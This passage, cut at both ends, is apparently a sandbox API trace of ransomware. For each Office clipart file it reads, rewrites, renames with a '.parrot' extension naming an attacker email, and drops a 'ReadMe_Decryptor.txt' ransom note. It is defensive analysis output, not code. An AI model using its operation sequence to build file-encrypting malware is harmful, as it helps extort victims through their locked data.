Size=0x1000) returned 0x3178470 [0130.405] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0130.405] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0130.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.405] lstrcmpW (lpString1="FD02071_.WMF", lpString2="ReadMe_Decryptor.txt") returned -1 [0130.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.406] GetFileSize (in: hFile=0x27c, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0x88c [0130.406] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.406] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.406] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.408] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.408] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x88c, lpOverlapped=0x0) returned 1 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0130.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0130.408] GetLastError () returned 0x0 [0130.408] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0130.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0130.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.408] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ee50 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0130.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0130.409] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0130.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.410] WriteFile (in: hFile=0x27c, lpBuffer=0x5d8fd0*, nNumberOfBytesToWrite=0x9a8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5d8fd0*, lpNumberOfBytesWritten=0x18eed4*=0x9a8, lpOverlapped=0x0) returned 1 [0130.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0130.410] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.410] CloseHandle (hObject=0x27c) returned 1 [0130.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0130.410] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0130.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0130.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.411] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0130.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0130.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0130.411] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0130.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.412] GetFileType (hFile=0x27c) returned 0x1 [0130.412] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0130.422] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0130.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0130.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.422] lstrcmpW (lpString1="FD02075_.WMF", lpString2="ReadMe_Decryptor.txt") returned -1 [0130.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.423] GetFileSize (in: hFile=0x27c, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0x112c [0130.423] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1244, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.423] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.423] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.425] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x112c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x112c, lpOverlapped=0x0) returned 1 [0130.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0130.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0130.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0130.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0130.425] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0130.425] GetLastError () returned 0x0 [0130.426] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ee50 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0130.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0130.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0130.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0130.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0130.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0130.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0130.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0130.427] WriteFile (in: hFile=0x27c, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1248, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x1248, lpOverlapped=0x0) returned 1 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.427] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1244, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.427] CloseHandle (hObject=0x27c) returned 1 [0130.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0130.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0130.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0130.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0130.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0130.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0130.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0130.428] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0130.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.429] GetFileType (hFile=0x27c) returned 0x1 [0130.429] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0130.439] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0130.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0130.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.440] lstrcmpW (lpString1="FD02088_.WMF", lpString2="ReadMe_Decryptor.txt") returned -1 [0130.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.440] GetFileSize (in: hFile=0x27c, lpFileSizeHigh=0x18ef50 | out: lpFileSizeHigh=0x18ef50*=0x0) returned 0xe70 [0130.440] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf88, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.440] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.440] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.442] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe70, lpOverlapped=0x0) returned 1 [0130.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0130.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0130.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0130.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0130.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0130.442] GetLastError () returned 0x0 [0130.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0130.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0130.442] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0130.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0130.443] 